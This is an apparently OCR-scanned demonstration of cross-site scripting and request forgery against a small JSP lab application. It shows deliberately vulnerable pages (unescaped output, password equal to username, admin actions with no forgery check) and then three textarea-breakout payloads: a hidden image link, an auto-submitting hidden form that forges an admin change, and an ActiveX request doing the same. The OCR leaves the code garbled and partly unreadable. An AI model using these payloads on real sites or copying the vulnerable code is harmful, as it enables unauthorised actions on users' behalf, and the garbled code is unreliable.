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index.jsp
<html>
<body>
{textarea rows="3" cols="100" readonly="on”>
Current User: ${username}
Admin Value: ${adminvalue}
User Value: ${uservalue}
{/textarea>
<br>
<a href="login. jsp”/>logout</a><br>
Login:<br>
{form action="login. jsp” method="post”>
username: <input type="text” name="u"></input> <br>
password: <input type="text” name="p”></input> <br>
{input type="submit” /> password == username :-)
</form>
{form action="doadmin. jsp” method="post”>
adminvalue: <input type="text” name="v”></input> <br>
{input type="submit” />
</form>
{form action="doadmin. jsp” method="post”>
uservalue: <input type="text” name="v2”>{/input> <br>
{input type="submit” />
</form>
<{/body>

login.jsp
<%

String u = request. getParameter ("u”) ;

”_”

p”);
if (u != null && p !'= null && u.equals(p)) {

String p = request. getParameter (

session. setAttribute (“username”, u);
} else {

session. removeAttribute (“username”) ;

}

response. sendRedirect (“index. jsp”) ;
%>
doadmin.jsp
<%

String u = (String)session. getAttribute ("username”) ;

String v = request. getParameter ("v”) ;

String v2 = request. getParameter ("v2”) ;

if (u != null && u.equals("admin”)) {
if (v != null)

application. setAttribute ("adminvalue”, v);
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}
if (u != null && v2 != null)

application. setAttribute ("uservalue”, v2);
response. sendRedirect (“index. jsp”) ;

%>

oA, BN admin P k2
http://10.10.67.25:8080/testxss/doadmin.jsp ] http i# K, #tAERIh B R IEATH
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hello </textarea> <img src="http://tinyurl.com/2xwfed” style="display:none”> </img>

hello </textarea> <form id="shit” action="http://10. 10.67.25:8080/testxss/doadmin. jsp” metho
nd="post” target="myframe”/> <input type="hidden” name="v” value="hacked3”/> <{/form> <iframe

style="display:none” name="myframe”> </iframe><{script>document. forms[0]. submit()</script>

hello </textarea> <script language="jscript”>v = new ActiveXObject ("MSXML2. XMLHTTP. 3.07); v.
open ("GET”, "http://10. 10. 67. 25:8080/testxss/doadmin. jsp?v=hacked4”); v.send() ;alert (v. status
Text) ;</script>
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